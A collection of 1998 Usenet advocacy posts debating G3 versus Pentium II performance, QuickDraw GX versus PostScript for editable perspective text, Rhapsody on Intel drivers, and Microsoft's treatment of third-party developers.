References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au> <joe.ragosta-2905980852240001@wil95.dol.net> <6kmn8i$ccl$1@bunyip.cc.uq.edu.au> <gmgraves-2905981042360001@sf-pm5-11-75.dialup.slip.net> <6kn19b$n3u$1@bunyip.cc.uq.edu.au> <gmgraves-3005981259430001@sf-usr1-3-131.dialup.slip.net> <6kqul1$hm0$1@bunyip.cc.uq.edu.au> <joe.ragosta-3105980901070001@elk52.dol.net> <6krloo$au9$1@bunyip.cc.uq.edu.au> <casper-3105981646000001@wheat-a-14.monroeville.nb.net>
Tim Scoff wrote in message ...
>In article <6krloo$au9$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
><drsmithy@usa.net> wrote:
>
>>Joe Ragosta wrote in message ...
>>>In article <6kqul1$hm0$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
>>><drsmithy@usa.net> wrote:
>>>
>>>>
>>>> I never said it doesn't get hot, not once. But it doesn't get so hot
>>that a
>>>> simple heatsink and fan arrangement won't cool it. Oh btw, a pII/400
>>>> dissipates about 28W.
>>>
>>>Which happens to be just about 4 times the heat of a G3/300.
>>
>>And pretty much irrelevant in a desktop system.
>
> And no laptop users need fast computers that don't take much power to
>run and don't put out much heat anyway, right?
90% of people using laptops wouldn't need large amounts of CPU grunt, and
and I'm willing to bet of the 10% who do, they could get by easier (and
cheaper) with a fast desktop and a slower laptop machine. I'd be real
interested to hear what people use _laptops_ for that needs large amounts of
CPU power.
(Numbers arbritrarily chosen, but meant to represent the majority and
minority).
>
>--
>Tim Scoff
>casper@nb.net
>http://www.nb.net/~casper/
>
>Imagine that CRAY decides to make a personal computer. It contains 16 Alpha
based processors executing in parallel, has 800 megabytes of RAM, 100
Gigabytes of disk storage, a resolution of 4096 x 4096 pixels, does 24bit 3D
graphics in realtime, relies entirely on voice recognition for input, fits
in your shirt pocket and costs $300. What is the first question the computer
community asks?
>
>"Is it DOS compatible?"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 31 May 1998 21:04:44 GMT
Organization: University of California at San Diego
Message-ID: <slrn6n3hfb.ac1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <B196AF2E-6ECC@206.165.43.133> <B196C2E5-5109F@206.165.43.133>
On 31 May 1998 08:19:00 -0700, Lawson English <english@primenet.com> wrote:
:
:A light dawns. The reason why NeXT, er, Apple, and all NeXT, er, MacOS X,
:developers don't like editable 3D perspective text is...
:
:POSTSCRIPT DOESN'T HANDLE IT.
:
:GX does.
Oh come on.
:If I created an editable text-processor for GX (remember that Apple USED TO
:supply sample code for a 32K GX text-editor), and saved the output using
:GX's built-in file format, any other GX application could open and edit the
:text contained in that GX text-block, even though they couldn't easily
:retain the word-wrap info, even if the text had a 3D perspective (or other
:distortion) applied.
:
:OTOH, I'm willing to bet that Scot Anguish's 3D perspective text solution
:not only can't be edited, but you can't even tell, programmatically, what
:the original text was, when he saves it to an EPS file, unless he uses his
:own, private, non-standard comments to record the original text.
So?
Why must EPS be a picture exchange format? And given that, what's wrong with
private non-standard comments to record the original text?
Does Quickdraw GX have a native streaming data representation suitable for
scientific plotting? Can I recover the input data used to make the plot? No
of course not, it can't do anything useful like that.
But it has "3d perspective editable text" well under control. (snort).
: :In other words, Apple has
:deliberately crippled the built-in graphics :capabilities of the Mac to be
:no better than what Adobe allows. : :Shame, Apple. : :Shame, shame, shame. :
Step back for a second. Anytime you choose a semantic model for
representation you must be "crippling" it by excluding some kinds abilities
for some kinds of concepts.
It's then a human judgement call too figure out whether the semantic model
that you chose was good enough for the tasks it was designed for, and
sufficiently expandable for the future and sufficiently powerful enough to
allow higher-level needs to be represented in the lower level without
significant loss of fidelity.
It is inevitable that some higher-level concepts will NOT be efficiently
extractable from the lower level format.
The more baroque the representation, the less likely it will be efficient
and coherent. There is a real cost to overly complicated formats, both
in complexity of programming this part and the opportunity lost to improve
other aspects of the operating system.
What is so freaking special about 3d editable perspective text? Text, by
its nature, has a two dimensional visual representation, for very powerful
and long-standing historical reasons. (Show me a three-dimensional papyrus.)
99.98% of the text that humans read is not in 3d perspective, nor do
humans want it to be.
The very small amount of "text" drawn with 3-d perspective is typically used
for display signage, or headlines or advertisements---not the sort of long
text documents which are frequently edited. This is an empirical fact about
the nature of human society.
Some people obviously made a different evaluation about the state of the
world. If 3-d editable perspective text in a symmetric information exchange
format is so important, why don't you lobby the W3C to include it in HTML?
That seems a more natural place than a programmatic drawing API.
Now, for true three-dimensional drawing, there are lots of different kinds
of file formats and representations, developed by people who have deep
experience in the 3-d field.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: "Terry Wilcox" <terry@arcane.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 31 May 1998 21:18:22 GMT
Organization: TELUS Communications Inc.
Message-ID: <01bd8cda$6c641760$e2227f0a@mypc.telusplanet.net>
References: <B196AF2E-6ECC@206.165.43.133> <B196C2E5-5109F@206.165.43.133>
Lawson English <english@primenet.com> wrote in article
<B196C2E5-5109F@206.165.43.133>...
>
> A light dawns. The reason why NeXT, er, Apple, and all NeXT, er, MacOS X,
> developers don't like editable 3D perspective text is...
>
> POSTSCRIPT DOESN'T HANDLE IT.
> GX does.
Do you ever tire of talking into a vacuum?
Just wondering?
Terry Wilcox
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 31 May 1998 21:25:04 GMT
Message-ID: <6kshrg$ed9$1@newsfep3.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net>
<6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net>
<tas-3005980328230001@209.86.154.89> <gmgraves-3005981301160001@sf-usr1-3-131.dialup.slip.net>
<6kqunr$hhi$1@bunyip.cc.uq.edu.au> <gmgraves-3105981217180001@sf-usr1-50-178.dialup.slip.net>
Mime-Version: 1.0
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Cc: gmgraves@slip.net
In <gmgraves-3105981217180001@sf-usr1-50-178.dialup.slip.net> George Graves
wrote:
> In article <6kqunr$hhi$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
> <drsmithy@usa.net> wrote:
> > They're not. The fastest pII chip is about the same speed as the fastest
> > PowerPC chip.
>
> Well, the tests I have run and seen run say otherwise. BUT, just
> for the sake of argument, let us say that they are indeed about
> equal. Now, since PIIs require another 100 MHz of clock to be
> equal in speed to a G3, I again ask the question: Why are PIIs
> so slow?
Oh please George, you are a bright guy and I know you know better.
The speed of the chip is really irrelevant. The main factor is how fast it
is and what it costs.
For instance, if you could have a chip that was 5 times the clockrate of the
g3, but only twice as fast as the g3, but HALF the cost of the g3, this
would ROCK!! But taking your mhz versus performance comparison, it would
suck.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Merced delay affect Apple?
Date: Sun, 31 May 1998 16:53:43 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3571D167.CF9B6D73@milestonerdl.com>
References: <01bd8cc6$1f359360$04387880@test1> <slrn6n3g8q.ac1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Mime-Version: 1.0
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Matt Kennel wrote:
> More important than the CPU though is the potential that a new CPU
> architecture will also come with a new motherboard, and perpherial
> architecture: a permanent and final end to x86 "driver hell".
How will 'driver hell' be ended? Will all cards use just one driver?
Perhaps I missed something.....but a new motherboard/perpherial system just
CHANGES 'driver hell' to, oh say 'driver purgatory' or perhaps you just move up
a few of the 666 levels of hell... 'driver 1 microsoft way' perhaps?
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Message-ID: <1998060100024100.UAA15115@ladder03.news.aol.com>
Date: 01 Jun 1998 00:02:40 GMT
Organization: AOL http://www.aol.com
References: <slrn6n3g2r.ac1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
As one of the people who shelled out for the Intel version of OpenStep and then
couldn't afford to upgrade my system to use it, Matthew has a very good point
when he notes that:
>Driver support in Wintel land means: "I want to install it on *MY* *PC*!!!"
I've asked this in the future, but maybe the idea is too laughably impossible
from a technical point of view, but why couldn't one write an application which
would dissect a Windows 95 driver (presumably a known quantity) and extract all
of the calls, and then write them into a pre-made OpenStep wrapper?
A call to put a pixel on the screen is not that much different from another is
it?
Or maybe it is.
Regardless, I still think that Apple would do well enough with the existing
driver support if they offered a reasonable return policy (send Rhapsody for
Mach on PC compatibles back and we'll send you a copy of Rhapsody/Windows) and
90% of your money
I'd also like to see a software box from Apple which bundled the NeXT interface
and all the stuff which they'd otherwise leave out.
i.e. TeX
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 1 Jun 1998 00:33:16 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <01bd8cf4$a4edd200$0b0ba8c0@woohoo>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net> <01bd8ac0$3f8b7560$0b0ba8c0@woohoo> <alex-2905981229470001@208.21.174.26> <01bd8b88$e3cb3340$0b0ba8c0@woohoo> <alex-3005981519560001@208.21.174.26> <01bd8c68$18b144c0$0b0ba8c0@woohoo> <gmgraves-3105981220010001@sf-usr1-50-178.dialup.slip.net>
NNTP-Posting-Date: 1 Jun 1998 00:33:16 GMT
George Graves <gmgraves@slip.net> wrote in article
<gmgraves-3105981220010001@sf-usr1-50-178.dialup.slip.net>...
>
> Fun wasn't it? I recently built a PC from parts as did you. I found it
very
> thereputic. One of the most relaxing and enjoyable Saturday afternoons
> I've spent in ages. Too bad that actually running the thing isn't as much
> fun. In fact, its a chore.
Yes, putting it together was very enjoyable. And it took only 2 hours. And
I saved a bundle. Now I know I have good documentation on every aspect of
this system. I can tweak it, I can fix it. I feel much better knowing how
everything goes together. I also got every piece exactly to my likings.
I'll never go back to buying a complete system again (unless I buy another
Mac, then I have no choice).
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 31 May 1998 17:29:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19743DC-DD658@206.165.43.26>
References: <01bd8cda$6c641760$e2227f0a@mypc.telusplanet.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Terry Wilcox <terry@arcane.com> said:
[my traditional ranting deleted]
>
>Do you ever tire of talking into a vacuum?
>
>Just wondering?
>
Sorry that your killfile operation apparently didn't work.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 1 Jun 1998 00:36:25 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <01bd8cf5$15b68040$0b0ba8c0@woohoo>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net> <tas-3005980328230001@209.86.154.89> <gmgraves-3005981301160001@sf-usr1-3-131.dialup.slip.net> <6kqunr$hhi$1@bunyip.cc.uq.edu.au> <gmgraves-3105981217180001@sf-usr1-50-178.dialup.slip.net>
NNTP-Posting-Date: 1 Jun 1998 00:36:25 GMT
George Graves <gmgraves@slip.net> wrote in article
<gmgraves-3105981217180001@sf-usr1-50-178.dialup.slip.net>...
>
> Well, the tests I have run and seen run say otherwise. BUT, just
> for the sake of argument, let us say that they are indeed about
> equal. Now, since PIIs require another 100 MHz of clock to be
> equal in speed to a G3, I again ask the question: Why are PIIs
> so slow?
"So slow" is a stretch. In contrast to the extra 100 MHz, the G3's require
twice the L2 cache. But to answer your question, as everyone knows, its the
backwards compatibility. PII's run the x86 instruction set far faster than
any other system I've seen. And that's what matters to most people.
Date: Mon, 01 Jun 1998 10:47:18 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Merced delay affect Apple?
References: <01bd8cc6$1f359360$04387880@test1>
<slrn6n3g8q.ac1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Organization: Cybermarket Australia
Mime-version: 1.0
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Message-ID: <3571ffa9.0@news.camtech.net.au>
In article <slrn6n3g8q.ac1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> ,
NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel) wrote:
>On 31 May 1998 18:59:37 GMT, Todd Heberlein <todd@NetSQ.com> wrote:
>:The other day Intel announced that Merced would be delayed, perhaps
>:up to a year. The question is, how does this affect Apple?
>:
>:One point - The delay of Intel's next generation high-end
>:(high-priced) CPU will expand Apple's opportunity to stay ahead on
>:the power curve.
>:
>:Another point - Apple may have been planning to forgo a release of
>:MacOS X on the x86 architecture in favor of the Merced (IA-64)
>:architecture. Will this encourage Apple to consider supporting the
>:x86 architecture beyond Rhapsody 1.0?
>
>Third point -- What if Intel decides to make a RISC-only version
>of Merced? Apparently that part is not what's giving them difficulties,
>
>It's the backward x86 backward compatibility.
>
>More important than the CPU though is the potential that a new CPU
>architecture will also come with a new motherboard, and perpherial
>architecture: a permanent and final end to x86 "driver hell".
And how many do you think they would sell when everyone found out all there old
programs would break? Windows users may be a little sheepish. They are not
silly.
Tim Priest
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Sun, 31 May 1998 20:20:38 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <357201E5.815806DF@milestonerdl.com>
References: <slrn6n3g2r.ac1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <1998060100024100.UAA15115@ladder03.news.aol.com>
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WillAdams wrote:
> As one of the people who shelled out for the Intel version of OpenStep and then
> couldn't afford to upgrade my system to use it, Matthew has a very good point
> when he notes that:
> >Driver support in Wintel land means: "I want to install it on *MY* *PC*!!!"
>
> I've asked this in the future, but maybe the idea is too laughably impossible
> from a technical point of view, but why couldn't one write an application which
> would dissect a Windows 95 driver (presumably a known quantity) and extract all
> of the calls, and then write them into a pre-made OpenStep wrapper?
With enuf effort into the translator, sure.
Is it worth the effort? No.
What WOULD be doable is to look at OpenBSD/NetBSD/FreeBSD and see if the hardware
you want/have is supported there. Port from that base. And pick your hardware if
you are acquiring new hardware based on what is working with the *BSD's.
Oh, and the WWDC Rhapsody and Intel talk, listen to 01:12:00 where a gent asked
about Rhapsody on Intel 1.0. The comment about 'doing it' is, well interesting.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 31 May 1998 19:30:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1976019-6328E@206.165.43.9>
References: <1d9w7hy.g52x5itps8sgN@cetus164.wco.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
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Mike Paquette <mpaque@wco.com> said:
>Lawson English <english@primenet.com> wrote:
>
>> A light dawns. The reason why NeXT, er, Apple, and all NeXT, er, MacOS
X,
>> developers don't like editable 3D perspective text is...
>>
>> POSTSCRIPT DOESN'T HANDLE IT.
>[munch]
>> In other words, Apple has deliberately crippled the built-in graphics
>> capabilities of the Mac to be no better than what Adobe allows.
>
>Oooh! He's found the secret graphics conspiracy! NOT.
>
This has nothing to do with YOU, Mike. This has to do (I am sure) with
corporate politics, both within and without Apple.
>I like the idea of direct manipulation of 3D text and graphics. When I
>do this, I want to be able to change the camera position. I want to
>change the light source positions, numbers, and properties. I want to
>change surface properties, and assign textures and shaders to surfaces.
>
Sounds great.
>Heck, I'd even be happy if a simple stroked line honored the perspective
>I waas trying to set up, and actually 'narrowed' as it got farther from
>the camera position.
I've no doubt that YOU would. You like devising high-end graphics engines.
But what about Apple management? At this point, we have GX, which is
technically superior to anything else currently available (IMHO) for 2D and
a total marketing failure.
Are you implying that we will get a true 4x3/4x4 matrix for 2D graphics in
the Yellow Box, or are you simply stating what YOU would like to do in an
ideal world?
I don't think that we live in an ideal world. Without some indication that
we WILL get a better solution for editing 3D perspective text ala what GX
can do and what Illustrator/Freehand can *almost* do, I'm going to assume
that when we lose the various unique capabilities of GX, we won't get them
back.
We didn't get an OpenDoc/Cyberdog solution for YB, did we?
Why should I expect better from Apple on the graphics side?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 31 May 1998 19:29:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1975FEE-6288D@206.165.43.9>
References: <slrn6n3hfb.ac1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
>Why must EPS be a picture exchange format?
OK, PDF then. Same issue. Once the text is transformed, you can't edit it
using standard functions because the format doesn't directly support the
transformation.
And given that, what's wrong
>with
>private non-standard comments to record the original text?
No-one else can deal with your image as text during pre-press.
>
>Does Quickdraw GX have a native streaming data representation suitable for
>scientific plotting? Can I recover the input data used to make the plot?
No
>of course not, it can't do anything useful like that.
QuickDraw GX is designed for static 2D images. QuickTime, on the other
hand, DOES support data streaming suitable for any time-dependent purpose
(look at the replay movies of Marathon, for instance).
>
>But it has "3d perspective editable text" well under control. (snort).
<snort> yourself. High-end DTP vector graphics applications such as
Freehand 8.0 use 3x3 matrices to implement non-editable 3D perspective of
2D text and graphics. GX goes an extra step and allows editing of such
transformed text and graphics. If you'll recall your CHI 101, in general,
modal human interfaces are a bad thing. A transformation (in the generic
sense of the word) of text/graphics that renders it non-editable is
generally not as useful to the end-user as an editable one that
accomplishes the same appearance-changes [transformation] because while the
user might be able to undo the change, he/she can't apply further editing
to the changed graphic to see what the incremental changes will look like.
GX supports something that apparently QDe will not and does it more
elegantly than the high-end DTP apps do in the first place.
This is a Good Thing.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: tas@mindspring.noUCE.com (Timothy A. Seufert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Sun, 31 May 1998 19:59:50 -0700
Organization: Evil Geniuses For A Better Tomorrow, Inc.
Message-ID: <tas-3105981959510001@user-38ld61h.dialup.mindspring.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net> <tas-3005980328230001@209.86.154.89> <gmgraves-3005981301160001@sf-usr1-3-131.dialup.slip.net> <6kqunr$hhi$1@bunyip.cc.uq.edu.au> <gmgraves-3105981217180001@sf-usr1-50-178.dialup.slip.net>
In article <gmgraves-3105981217180001@sf-usr1-50-178.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
>Well, the tests I have run and seen run say otherwise. BUT, just
>for the sake of argument, let us say that they are indeed about
>equal. Now, since PIIs require another 100 MHz of clock to be
>equal in speed to a G3, I again ask the question: Why are PIIs
>so slow?
IBM makes a CPU called P2SC (POWER architecture, not PowerPC). At 135 MHz
it has a SPECfp95 score of 17.6. The PowerPC 750/300 scores about 9.
Since the 750 requires another 165 MHz of clock to be about half the speed
of the P2SC, I ask you the question: Why are G3s so slow?
Here's a hint: clock speed is totally irrelevant. The performance you get
at a given price point is what counts. So what if the PII needs a higher
clock rate to achieve the same performance? Doesn't matter as long as
it's the same price.
Some more data points: the P2SC/135 has a SPECint95 score about half that
of a 750/300, despite the FP score in favor of the P2SC. The Alpha
21164PC/466 scores SPECfp95 17.4, about the same as the P2SC; why's it so
damn slow if its clock is so fast? Think about this next time you compare
MHz to compare CPUs.
--
-- Tim
To mail me unsolicited advertisements: Move to Siberia. Wait until I
say it's OK to send. Everybody else, remove "noUCE." from my address.
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 01 Jun 1998 02:43:56 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <3571d7d0.5585733@news.supernews.com>
References: <rmcassid-1305980120280001@dialin33423.slip.uci.edu> <6jgf0l$fvt$1@nnrp1.dejanews.com> <rmcassid-1505981205450001@dante.eng.uci.edu> <6jl4vq$pqa$1@nnrp1.dejanews.com> <rmcassid-1805981355460001@dante.eng.uci.edu> <6jr0kn$ij5$1@antares.en.com> <356512fc.258067534@news.supernews.com> <6jvgbq$jo1$1@nnrp1.dejanews.com> <35c68fc9.353563848@news.supernews.com> <6k6v64$gu7$1@nnrp1.dejanews.com> <357b26b9.31161519@news.supernews.com> <6kkga8$e0l$11@gte2.gte.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
rfelts@. (Roger), on Thu, 28 May 1998 20:15:09 GMT,
>On Tue, 26 May 1998 21:23:23 GMT, someone claiming to be T. Max Devlin
>wrote:
>
>>dpetticord@hotmail.com, on Sat, 23 May 1998 16:57:41 GMT,
>
>>>Just how do you propose to legally stop Microsoft from just giving the
>>>"appearance of accommodating competition"?
>
>>By ensuring that the criteria (a competitive market) supersedes the
>>mechanism (Microsoft accommodating competition). If whatever Microsoft
>>does maintains their monopoly in the OS market, then they are not truly
>>accommodating competition. Sometimes, you have to work yourself out of
>>a job, or you're just ripping off your employer/customer. ;-)
>
>I read this as, no matter what steps are taken, if MS remains
>successful, or if no one else becomes successful, MS is only giving
>the appearance.
>
>Is that what you mean to say?
No, nor is it what I said. Drop the attitude, and the "if MS remains
successful" crap, and you are _almost_ paying attention. The question
is "how do you know if Microsoft's actions continue to be
anticompetitive" (if I might take the liberty of paraphrasing); the
answer is "as long as Microsoft continues to have no competition, then
it can be assumed that Microsoft continues to act anti-competitively."
Isn't that what I said? Does Microsoft stand to make more money if they
maintain a monopoly? Of course. Will it cost Microsoft money (both
projected revenues and real costs) to implement and support competition
in their market? Of course. Should this be construed as a reason to
allow Microsoft to continue to benefit from an illegal monopoly? Of
course not.
>
>>>Sorry, I am not sure how your response is connected to mine.
>>>You made some good points, but I thought we were discussing the
>>>vulnerability of Windows.
>>
>>My point was that Windows is not vulnerable as long as MS is allowed to
>>maintain apps without competition (that is, fair access to the OS).
>
>What do you mean by "fair access."
It's a legal term. Do you want suggested details? When third party app
developers have the same access to the specification, implementation,
and planning of the OS as Microsoft app developers do, that's fair
access. How should be obvious: separate the OS and app development
operations within Microsoft, and enforce a chinese wall documented by
and supported with painstaking, laborious, and expensive documentation,
all at Microsoft's expense.
Considering the billions paid to Microsoft for software development over
the past fifteen years, I'd say that would be "fair", how about you?
>
>>>Microsoft may be guilty of a lot of things, but I believe they are better
>>>than most in giving equal access to "any interested app developer". For
>>>a nominal fee anyone can sign up for the MS Developer Network. This
>>>gives you all the latest developer kits, knowledge bases and Beta releases.
>>>
>>>The biggest exception to that would be any special treatment they give to
>>>their own developers that they do not put in the MSDN.
>
>>Bingo! So much for equal access to any interested app developer. Don't
>>you see, until you realize that MS apps developers should never have
>>more access than other app developers, the situation is entirely
>>anti-competitive.
>
>Okay, and do either you have proof that MS developers routinely get
>"special treatment?"
Yes. I suppose now you expect me to document that proof for you. Who
is going to pay my expenses? You want us to pay Microsoft's, why
wouldn't you be willing to pay for mine to provide you this "proof".
There is documentation supporting the fact that the "chinese wall" that
Microsoft insisted existed (to convince app developers to support their
Windows OS, since an OS without apps is not a market favorite) was, in
fact, merely a ruse to get third party developers to build enough
installed base for Windows that Microsoft could gain the monopoly powers
they are currently exploiting to take over the various app markets.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Sun, 31 May 1998 23:35:25 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-3105982335250001@192.168.0.3>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net>
In article <6kpbgu$kuo$2@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
:In <B1952EF8-100D4@206.165.43.134> "Lawson English" claimed:
:> GX is 16.16, QD3D is float. This is hardly an issue
:
: It is for conceptual and learning purposes.
Not really, given a day or two, one could wrap up the entire GX API so
that it does implicit float->fixed conversions ala DPS. There are much
more important issues such as what would be a good way to support mixed
engine rendering, e.g. how do you handle hit testing in a system with both
2D & 3D primitives, etc.
: Let me put it this way, if the new 2D API calls look like the API for QD3D,
:and both use floats mapped to some similar scale, then it's absolutely going
:to be easier to use PS-like rather than GX-like calls.
You're talking about attaching a viewport scaling matrix, which is
pretty darn trivial. A far more interesting topic to discuss would be
whether or not the 2D API should use NURBS like Taligent's graphics system
or stick with Beziers. That would have a hell of a lot more impact for
developers than the scaling issues you're talking about.
:> The extra precision is vital in 3D, but only moderately useful in most 2D
:> situations (how many times do you work with images that lie outside the 32K
:> pixel limit of GX?)
:
: Uhhh, how many times do I have to provide the same example of a
:spreadsheet?
It's a bogus example, and as an OpenStep developer pointed out,
Postscript uses a fixed-point coordinate system internally so your example
wouldn't have worked under OpenStep either. You *still* would have to
scale.
-Eric
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 1 Jun 1998 03:28:48 GMT
Organization: Digital Fix Development
Message-ID: <6kt75g$sf$1@news.digifix.com>
References: <6kqm3r$3k2$1@news.digifix.com> <B196579A-45E28@206.165.43.17>
In-Reply-To: <B196579A-45E28@206.165.43.17>
On 05/30/98, "Lawson English" wrote:
>Scott Anguish <sanguish@digifix.com> said:
>
>>
>> No, but it was able to do the perspective type text that
>>companies like Reebok and other high profile graphics companies
needed
>>for their work. The didn't care about doing editing perspectivized
>>text in-place. They just wanted make t-shirts for piddly little
>>things like World Series Championships and such..
>
>Yar, but they didn't want to write cute letters to their friends or
make
>cheapo posters without paying an arm and a leg for the privledge of
doing
>something that is built into GX and hence available in every Mac
built in
>the 90's.
>
Gee Lawson, correct me if I'm wrong, were there not cheap
end-user applications on the Mac that allowed them to do just that?
Hell, I KNOW I'm not wrong.
Do you remember Typestyler???
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <356ce269.0@206.25.228.5> <6kr1ln$sip$1@msunews.cl.msu.edu>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35722201.0@206.25.228.5>
Date: 1 Jun 98 03:37:37 GMT
spammers@ruin.the.internet.channelu.com wrote:
> In <356ce269.0@206.25.228.5> John Kheit wrote:
[snip]
> John I think you know better than to say the G3 is a price/performance
> dog when you havn't tried a G3 (have you?!).
I've tried one at school. I really don't know the details of the
machine (what i/o it had, my guess is the stock IDE or SCSI crap
that ships witht he machine). Don't get me wrong, it was nice and
snappy. But it cost a hell of a lot more than my friends tripped
out p2 400mhz monster, and certainly didn't perform better by the
amount of extra cost; that's why I think it's got a bad price/performance
